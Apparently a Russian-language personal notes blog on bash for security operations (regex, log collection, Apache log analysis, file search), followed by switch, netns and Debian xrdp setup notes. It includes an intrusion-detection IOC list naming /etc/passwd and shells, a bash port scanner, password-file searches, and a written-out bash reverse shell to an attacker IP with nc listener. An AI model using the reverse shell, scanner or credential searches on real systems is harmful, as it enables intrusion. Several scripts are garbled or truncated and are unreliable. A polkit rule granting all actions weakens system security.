8 User: XTjon
9 XWING model 7
10 an an an


Метасимвол .
В регулярных выражения точка (.), представляет собой один символ подстановки
grep 'T.o' file.txt

Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\),  так (\.)

Метасимвол ?
В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, 
символ сопоставляется один раз, а дальше игнорируется.
egrep 'T.?o' file.txt

Метасимвол *
В регулярных выражениях звездочка (*) - это специальный символ, 
который  соответствует предыдущему элементу неограниченное кол-во раз.
grep 'T.*o' file.txt

Метасимвол + 
Метасимвол плюс (+) работает так же, как и *, за исключением того, 
что предыдущий ему элемент должен встретиться хотя бы однажды. 
egrep 'T.+o' file.txt

Группирование 
Для группирования символов можно использовать скобки.
egrep 'And be one (stranger|traveler), long I stood' file.txt

Квадратные скобки и классы символов
[abc] - соответствует только символу a, или b, или c
[1-5] - соответствует цифрам от 1 до 5 
[a-zA-Z] - соответствует любым символа от a до z
[0-9+-*/] - соответствует числам или любым четырем указанным математическим символам
[0-9a-fA-F] - соответствует шестнадцатеричному символу
\s - пробельный символ
\S - не пробельный символ
\d - цифровой символ
\D - не цифровой символ
\w - слово
\W - не слово
\x - шестнадцатеричное число (например, 0x5F)
!!! Обратите внимания эти сокращения работаю только с опцией -P, Perl

grep -P '\d' file.txt

[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ

grep 'X[[:upper:][:digit:]]' file.txt


Обратные ссылки:
tags.txt
Commmand
line
is
great
! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info

cut

cut  - используется для извлечения частей файла
-c - символ для извлечения  
-d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции.
-f - поля для извлечения
Пример:
cutefile.txt
12/05/2025 10.33.66.3 test.html
12/05/2025 17.14.13.3 loging.html

cut -d' ' -f2 cutefile.txt

file

file - используется для идентификации типа файла
-f - читать список файлов для анализа из данного файла
-k - не останавливается на первом совпадении, перечислить все 
-z - просмотреть сжатые файлы

Пример:
file filename.un

head

head - отобразит  несколько первых строк или бит, по умолчанию 10
-n - кол-во строк
-c - количество байтов

reg

reg - используется в winpws, для работы с реестром
add - добавить запись в реестор
export - копировать указанные записи реестра в файл
query - возвратить список подразделов ниже указанного пути

Пример:
reg query HKEY_LOCAL_MACHINE

wevtutil

wevtutil - просмотр системных журналов в windows
el - перечислить доступные журналы
qe - запросить события журнала
Общие команды:
/c - максимальное событие для чтения
/f - форматирование вывода в виде текста или XML
/rd - если установлено в true то сначала прочитать свежие события

Примеры
wevtutil el
wevtutil qe System //c:1 //rd:true
wevtutil qe System /c:1 /rd:true

Собираем файлы журнала Linux

tar -czf ${HOSTNAME}_logs.tar.gz /var/log

Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста

Логи:
/var/log/apache2/  - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы

конфиги:
/etc/syslog.conf
/etc/rsyslog.conf

Собираем файлы журналов Windows

Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
#    -z  заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
    if [[ ${1:0:2} == '-z']]
    then
    TGZ=1
shift
  f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}

mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2

wevtutil el | while read ALOG
do
  ALOG="${ALOG%$'\r'}"
  echo "${ALOG}:"
  SAFNAM="${ALOG// /_}"
  SAFNAM="${SAFNAM//\//-}"
  wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done

if (( TGZ == 1 ))
then
    tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi


Сбор информации о системе



linux bash            windows git bash     Что?
uname -a              uname -a             Показать информацию о версии ОС
cat /proc/cpuinfo     systeminfo           Вывести сведения о системном оборудовании и связанную информацию
ifconfig              ipconfig             Вывести информацию о сетевом интерфейсе
route                 route print          Показать таблицу маршрутизации
arp -a                arp -a               Вывести таблицу ARP ( протокол определения адреса)
netstat -a            netstat -a           Отобразить сетевые подключения
mount                 net share            Вывести информацию о файловых системах
ps -e                 tasklist             Отобразить запущенные процессы


файл cmds.txt
# Linux Command   | MSWin Bash  | XML tag   | Purpose
#-----------------+-------------+-----------+------------------
uname -a          | uname -a    | uname     | O.S. ver
cat /proc/cpuinfo | systeminfo  | sysinfo   | sysinfo
ifocnfig          | ipconfig    | interface | Network info
ip -a             | ipconfig    | interface | Network info
route             | route print | nroute    | routing table
arp -a            | arp -a      | narp      | arp table
netstat -a        | netstat -a  | netstat   | network connection
ss -a             | netstat -a  | netstat   | network connection
mount             | net share   | diskinfo  | mounter disk 
ps -e             | task list   | processes | running processes

Сценарий определения типа OS

getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
#  cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
   LCMD=${ALINE%%|*}
   REST=${ALINE#*|}
   WCMD=${REST%%|*}
   REST=${RST#*|}
   TAG=${REST%%|*}

   if [[ $OSTYPE == "WsWin" ]]
   then 
       CMD="$WCMD"
   else
       CMD="$LCMD"
   fi
}

function DumpInfo()
{
   printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
   printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
   readarray CMDS
 for ALINE in "${CMDS[@]}"
   do 
     # игнорировать комментарии
     if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi

     SepCmds

     if [[ ${CMD:0:3} == N/A ]]
     then
        continue
     else
        printf "<%s>\n" $TAG
        $CMD
        printf "\n" $TAG
     fi
 done
 printf "\n"
}

OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"

# сбор информации
DumpInfo > $TMPFILE 2>&1

Сбор данных о реестре Windows

Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak

Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak


Поиск файлов в системе:

find 
grep

find /home -name '*password*'
find /home -name '*password*' 2>/dev/null

Поиск скрытых файлов в linux:
find /home -name '.*'

Поиск скрытых файлов в windows:
dir c:\ /S /A:H

Поиск и запуск команды:
find /c -exec attrib '{}' \; | egrep '^.{4}H.*'

Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-

Поиск по размеру файла:
find /home -size +5G

Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5



Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить  ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5

Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5


Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;


Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;

Поиск по типу файла:

file title.png

Сценарий typesearch.sh
#!/bin/bash
# Описание:
# Поиск в  файловой системе файлов указанного типа.
# Выводим путь, когда найдем
# Использование:
# typesearch.sh [-c dir] [-i] [-R|r]  
# -c Копировать найденные файлы в каталог
# -i Игнорировать регистр
# -R|r Рекурсивный поиск подкаталогов
#  Шаблон типа файла для поиска
#  Путь для начала поиска

DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию
while getopts 'c:irR' opt; do
 case "${opt}" in
  c) # копировать найденные файлы в указанный каталог
   COPY=YES
   DISTDIR="$OPTARG"
   ;;
  i) # игнорировать регистр при поиске
   CASEMATCH='-1' 
   ;;
  [Rr]) # рекурсивно 
    unset DEEPPORNOT;;
  *) # неизвестный/неподдерживаемый вариант
     # при получении ошибки mesg от gretops просто выйти 
    exit 2;;
 esac
done
shift $((OPTIND -1))

PATTERN=${1;-PDF document}
STARTDIR=${2:-.} # по умолчанию начать здесь

find $STARTDIR $DEEPORNOT -type f | while read FN
do 
  file $FN | egrep -q $CASEMATCH "$PATTRERN"
  if (( $? ==0 )) # найден один
  then
      echo $FN
         if [[ $COPY ]]
         then
            cp -p $FN $DESTDIR
         fi
  fi
done

Поиск по хеш-значению

hashsearch.sh
#!/bin/bash
# Описание:
#    В указанном каталога выполняем рекурсивный поиск
#    файла по заданному SHA-1
# Использование:
#    hashsearch.sh  
#    hash - значение хеша SHA-1 разыскиваемого файла
#    directory - каталог для поиска
HASH=$1
DIR=${2:-.}  # cmd, по умолчанию это сдесь
# конвертируем путь в абсолютный
function mkabspath()
{
  if [[ $1 == /* ]]
  then
     ABS=$1
  else
     ABS="$PWD/$1"
  fi
}
find $DIR -type f | 
while read fn
do
  THISONE=$(sha1sum "$fn")
  THISONE=${THISONE%% *}
  if [[ $THISONE == $HASH ]]
  then
    mkabspath "$fn"
    echo $ABS
  fi
done

Обработка данных:

sed
tail
tr

файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott


awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.

Пример:
awk '$2 == "jones" {print $0}' awkusers.txt



файл username.txt:
1,jdoe
2,puser
3,jsmith

файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3

join - объединяет строки из двух фалов с общими полями 
-j - использовать указанный номер поля. Поля начинаются с 1 
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка

Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt



файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS

sed - редактирование и замена текста в потоке файлов

Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt


tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt


tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt


Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3

cut - используется для извлечения из входного файла или потока, 
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое  вырезав символы  
cut -c 1,4,7 name.txt - показать содержимое  вырезав символы  
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом  ':'

Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}'  csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2


grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'

grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'

jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json

Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;

join -t, -2 2 ips.txt user.txt

Ссылка:
https://rapidcyberops.com/

Анализ данных:


sort - сортировка текстового файла
-r - сортировка по убыванию
-f - игнорировать регистр
-n - использовать числовой порядок 1, 2, 3 и т.д.
-k - сортировать на основе подмножества данных (ключа) в строке
-o - записать вывод в указанный файл
-u - фильтр уникальности
Пример:
sort -k 3 file1.txt
sort -k 2.5,2.7 file1.txt

uniq - отфильтровать повторяющиеся строки
-c - вывести, сколько раз повторяется строка
-f - перед сравнением проигнорировать указанное кол-во полей
-i - игнорировать  регистр букв

Ознакомление с журналом доступа к веб серверу Apache2

CLF - Combined Log Format

cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

Что мы видим:
Поле  Значение                       Описание
1     192.168.15.53                  ip хоста который запросил страницу у веб сервера
2     -                              идентификатор протокола RFC 1413 (-, если его нет)
3     -                              идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4     [11/Jul/2025:15:09:25 +0300]   Смещение даты, времени и GMT (часовой пояс)
5     GET /                          Страница которая была запрошена
6     HTTP/1.1                       Версия протокола HTTP
7     200                            Код состояния, возвращаемый веб-сервер
8     3380                           Размер возвращаемого файла в байтах
9     -                              Ссылающаяся страница
10    Mozilla/5.0                    Браузер



Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз

Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html


cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15

Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
    let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do 
  printf '%d %s\n' "${cnt[$id]}" "$id"
done


Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
         printf "%d %s\n", cnt[id], id
        }
    }'


Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile

awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn

P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn


Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:  
declare -A cnt # ассоциативный массив
while read id count
do 
  let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
   printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done

Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn 

Скрипт отображение данных в виде гистограммы:

histogram.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
  local -i i raw maxraw scaled
  raw=$1
  maxraw=$2
  ((scaled=(MAXBAR*raw)/maxraw))
  # гарантированный минимальный размер
  ((raw > 0 && scaled ==0)) && scaled=1

  for((i=0; i max )) && max=$val
done 

# масштабировать и вести
for labl in "${!RA[@]}"
do
  printf '%-20.20s ' "$labl"
  pr_bar ${RA[$labl]} $max
done


Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh

Скрипт отображение данных в виде гистограммы для старых систем и macos:

histogram_plain.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./histogram_plain
# Формата ввода: label value
declare -a RA_key RA_val
declare -i max ndx
max=0
maxbar=50
ndx=0
while read labl val
do
   RA_key[$ndx]=$labl
   RA_value[$ndx]=$val
   # сохранить наибольшее значение; для масштабирования
   (( val > max )) && max=$val
   let ndx++
done

# масштабировать и вывести
for ((j=0; j

Мониторинг журналов в режиме реального времени:

 
tail -f /var/log/apache2/access.log
tail -f /var/log/apache2/access.log | grep '10.0.0.152'
tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404'

cd /var/log/apache2/
tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7

Обнаружение вторжения с помощью журнала apache2:

 

cat > ioc.txt << "EOF"
\.\./
etc/passwd
etc/shadow
cmd\.exe
/bin/sh
/bin/bash

EOF

../  -злоумышленник пытается выйти из текущего каталога рабочего каталога
/etc/passwd  и другие - пытается получить доступ к паролям системы
/sh  и другое - пытается вызвать программу 

tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt
tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt



    

Сканер портов:

cat > scan.sh << "EOF" 
#!/bin/bash -
# Описание:
# Сканирование порта указанного хоста
# Использование:
# ./scan.sh  
#  - файл, куда сохраняется результат
# ./scan.sh save.log 
# 192.168.0.1 - вводим адрес
# ctrl + c 
# cat save.log

function scan()
{
   host=$1
   printf '%s' "$host"
   for ((port=1;port<1024;port++))
   do
     echo >/dev/null 2>&1 < /dev/tcp/${host}/${port}
     if (($? == 0)) ; then printf ' %d' "${port}" ; fi
   done
   echo # или вывести '\n'
}

# основной цикл
printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30
OUTFILE=${1:-$TODAY}

while read HOSTNAME
do
   scan $HOSTNAME
done > $OUTFILE



EOF

Сравнение файлов:

sdiff  - сравнивает два файла
-a - рассматривать все файлы как текстовые
-i - игнорировать регистр
-s - удалять общие строки для двух файлов
-w - определить максимальное кол-во символов для вывода в троке

sdiff -s file1.txt file2.txt


curl:

curl
-A - для отправки на сервер указать строку агента пользователя HTTP
-d - данные для отправки с запросом HTTP POST
-G - использовать для отправки данных запрос HTTP GET, а не POST
-I - получить только заголовок протокола (HTTP, FTP)
-L - следовать за пере направлениями
-s - не показывать индикатор выполнения или сообщения об ошибках


curl https://google.com

Проверка сокращенной ссылки:
curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'

xxd :

xdd - выводит на экран в двоичном или шестнадцатеричном формате
-b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата
-l - вывести кол-во байт двоичного или шестнадцатеричного файла
-s - начать печать с позиции байта n

xdd -s 35 -l 50 somefile.txt

Разведка:

Просмотр вебсервера:
ftp 
-n - запретить авто вход на сервер
ftp -n 192.168.0.15
ftp 192.168.0.15
ftp 192.168.0.15 60


Просмотр веб сайта:
curl -L -o output.html https://www.oreilly.com
curl -LI https://www.oreilly.com
curl -LIs https://www.oreilly.com | grep '200 OK'

Копирование сайта себе:
wget -p -m -k -P ./mirror https://digadel.com

Самый простой способ перехватить баннер с SMTP сервера:
telnet 192.168.0.15 25



nc :

nc
-l - прослушивать входящие подключения
-n - запретить выполнение поиска dns
-p - задать исходный порт для подключения и прослушивания
-v - установить подробный режим

Подключение:
nc www.oreilly.com 80

Прослушивания:
nc -l -v -n -p 8080


Обратный SSH :

ssh -R 12345:localhost:22 user@remoteip
ssh localhost -p 12345

Бэкдор баш:

/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0
Здесь:
/bin/bash -i - интерактивный режим баша
< /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15,
порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш.
1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного
потока ввода (stdin)(дескриптор файла 0)


В системе злоумышленника должен слушаться порт 8080
nc -l -v -p 8080

Рубрики
Без рубрики

Мда что то перемудрили ркн ….

wget --no-check-certificate --user-agent="Mozilla/5.0" https://minjust.gov.ru/uploaded/files/exportfsm.csv
iconv -f CP1251 -t UTF-8 exportfsm.csv > exportfsm.csv_enc
cat exportfsm.csv_enc | grep "Я русский"
Рубрики
device \ устройства \ железо

M5Stack Stick PLUS 2

Ссылки:

https://t.me/hobbysupport
https://www.ozon.ru/product/m5stack-stick-plus-2-s-graficheskim-programmirovaniem-1726849635/
https://www.youtube.com/watch?v=1cDBE4qjKOk
https://docs.m5stack.com/en/uiflow/m5burner/intro
https://docs.m5stack.com/en/core/M5StickC%20PLUS2
http://bruce.computer/
Рубрики
device \ устройства \ железо

Релейки бубубуб конфиг

Основные команды:

show run - показать текущий конфиг
configure - режим конфигурирования
write mem - сохранить настройки

Пример конфига:

config-file-header
switch000001
v5.1.0.18 / ?
CLI v1.0
@
!
unit-type-control-start
unit-type unit 1 network te uplink none
unit-type-control-end
!
no spanning-tree
port jumbo-frame
vlan database
vlan 25-28,35-38
exit
voice vlan oui-table add 0001e3 Siemens_AG_phone________
voice vlan oui-table add 00036b Cisco_phone_____________
voice vlan oui-table add 00096e Avaya___________________
voice vlan oui-table add 000fe2 H3C_Aolynk______________
voice vlan oui-table add 0060b9 Philips_and_NEC_AG_phone
voice vlan oui-table add 00d01e Pingtel_phone___________
voice vlan oui-table add 00e075 Polycom/Veritel_phone___
voice vlan oui-table add 00e0bb 3Com_phone______________
ip ssh server                                         
ip telnet server                                      
!                                                     
interface vlan 1                                      
 ip address 10.12.127.200 255.255.255.0               
 no ip address dhcp                                   
!                                                     
interface TengigabitEthernet1                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet2                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet3                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet5                         
 switchport mode trunk                                
!                                                     
exit                                                  
console# 

Vlan

vlan database
vlan 25-28,35-38

JAMBO PACKET

port jumbo-frame

NO STP

no spanning-tree

TRANK

                             
interface TengigabitEthernet1                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet2                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet3                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet5                         
 switchport mode trunk                                
!                                                     

STATIC IP CONTROL

interface vlan 1                                      
 ip address 10.12.127.200 255.255.255.0               
 no ip address dhcp                                   
!                      


Рубрики
*NIX информация

netns / создание network namespace и добавление его в сетевую карту

Пример команд:

Создание сетевых пространств (network namespaces):
sudo ip netns add Client
sudo ip netns add Server

Создание виртуальных интерфейсов (veth):
Теперь у тебя есть связанная пара интерфейсов (veth-client <-> veth-server).
sudo ip link add veth-client type veth peer name veth-server

Привязка интерфейсов к namespace:
sudo ip link set veth-client netns Client
sudo ip link set veth-server netns Server

Настройка IP-адресов:
sudo ip netns exec Client ip addr add 192.168.1.1/24 dev veth-client
sudo ip netns exec Server ip addr add 192.168.1.2/24 dev veth-server
Теперь у тебя есть два "виртуальных хоста" (Client и Server), соединенных через veth.

В Client и Server прописываешь маршруты:
sudo ip netns exec Client ip route add default via 192.168.1.254
sudo ip netns exec Server ip route add default via 192.168.2.254

Список всех network namespaces:
sudo ip netns list
ls /var/run/netns/

Просмотр интерфейсов внутри конкретного netns:
sudo ip netns exec Client ip link show
sudo ip -n Client link

Просмотр IP-адресов внутри netns:
sudo ip netns exec Client ip addr

Просмотр таблицы маршрутизации в netns:
sudo ip netns exec Client ip route
sudo ip -n Client route

Проверить ARP-таблицу (соседей):
sudo ip netns exec Client ip neigh

Если netns нет в списке, но процесс использует его:
lsns -t net
ps aux | grep "netns"


Использование namespace: 
ip netns exec  bash
ip netns exec Client bash
ip netns exec Server bash

Пример скрипта который создаст пространства имен, привяжет интерфейсы к ним, добавит адреса, добавит маршруты:


#!/bin/bash
set -x

# Создание namespace'ов, если их ещё нет
ip netns add Server
ip netns add Client

echo "setup Server:"
ip link set enp1s0f0np0 down 
ip link set enp1s0f0np0 netns Server
ip netns exec Server ip addr add 10.0.12.2/24 dev enp1s0f0np0
ip netns exec Server ip link set enp1s0f0np0 up
ip netns exec Server ip link set lo up
ip netns exec Server ip route add default via 10.0.12.1 dev enp1s0f0np0

echo "setup Client:"
ip link set enp1s0f1np1 down 
ip link set enp1s0f1np1 netns Client
ip netns exec Client ip addr add 10.0.11.2/24 dev enp1s0f1np1
ip netns exec Client ip link set enp1s0f1np1 up
ip netns exec Client ip link set lo up
ip netns exec Client ip route add default via 10.0.11.1 dev enp1s0f1np1

# Удаление namespace'ов при необходимости
# ip netns delete Client
# ip netns delete Server

Использование namespace:

Команда:
ip netns exec  bash

Пример:
ip netns exec Server bash
ip netns exec Client bash

Пример сетевые карты разделены на 4 отдельных карточки и проводом подключены Client — Server, без маршрутизации.

#!/bin/bash
set -x

# Создание namespace'ов, если их ещё нет
ip netns add Server
ip netns add Server1
ip netns add Client
ip netns add Client1

echo "setup Server:"
ip link set ens3f0 down 
ip link set ens3f0 netns Server
ip netns exec Server ip addr add 10.0.12.2/24 dev ens3f0
ip netns exec Server ip link set ens3f0 up
ip netns exec Server ip link set lo up


echo "setup Client:"
ip link set enp4s0f0np0 down 
ip link set enp4s0f0np0 netns Client
ip netns exec Client ip addr add 10.0.12.1/24 dev enp4s0f0np0
ip netns exec Client ip link set enp4s0f0np0 up
ip netns exec Client ip link set lo up


echo "setup Server1:"
ip link set ens3f1 down 
ip link set ens3f1 netns Server1
ip netns exec Server1 ip addr add 10.0.13.2/24 dev ens3f1
ip netns exec Server1 ip link set ens3f1 up
ip netns exec Server1 ip link set lo up


echo "setup Client1:"
ip link set enp4s0f1np1 down 
ip link set enp4s0f1np1 netns Client1
ip netns exec Client1 ip addr add 10.0.13.1/24 dev enp4s0f1np1
ip netns exec Client1 ip link set enp4s0f1np1 up
ip netns exec Client1 ip link set lo up

# Удаление namespace'ов при необходимости
# ip netns delete Client
# ip netns delete Server
# ip netns delete Client1
# ip netns delete Server1

Рубрики
*NIX информация

debian 12 / xrdp / kde / xfce4 / удалённый доступ оп RDP

Зачем?

xrdp будет работать с xfc4 удаленно
kde будем пользовать локально

Установка пакетов:

Консольные утилиты:
apt install vim tmux tcpdump curl mc minicom

Ставим пакеты для xrdp:
apt install xrdp xorgxrdp ssl-cert

Установка xfce4:
apt install xfce4 xfce4-goodies xfce4-places-plugin task-xfce-desktop

Установка kde:
apt install kde-full

Решение ошибки при подключении по rdp:
apt install dbus-x11
Решение проблемы зависания консоли:
apt-get remove xscreensaver

Дополнительные программы:
apt install desktop-telegram vscode golang gparted

Настройки:

0. Отключаем постоянные запросы паролей при настройке под учетной записью из группы admin
usermod -aG admin username

0.1 Политики polkit-1 такие полезные 
vim /etc/polkit-1/localauthority/50-local.d/46-all-allow.pkla
-----------------------------------------------------------------------
[Allow ALL from group admin]
Identity=unix-group:admin
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
-----------------------------------------------------------------------

0.2 или 
!!!  Вместо auth_admin_keep указываем yes
vim /usr/share/polkit-1/actions/org.freedesktop.login1.policy
-------------------------------------------------------------

Reboot the system
Authentication is required for rebooting the system.
                
                        yes
                        yes
                        yes
                
org.freedesktop.login1.set-wall-message

-------------------------------------------------------------

vim /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy
--------------------------------------------------------------------- 

   [...]
    
      auth_admin_keep
      yes
      yes
    
--------------------------------------------------------------------- 

P.S Более правильно все таки решить все с помощью pkla


1. Переконфигурируем:
dpkg-reconfigure xserver-xorg-legacy - переключаем разрешение для всех 

2. Редактируем выбор раскладки 
vim /etc/xrdp/xrdp_keyboard.ini
---------------------------
[default_rdp_layouts] # ищем и убеждаемся что файлы существуют
rdp_layout_us=0x00000409 # ищем и убеждаемся что файлы существуют
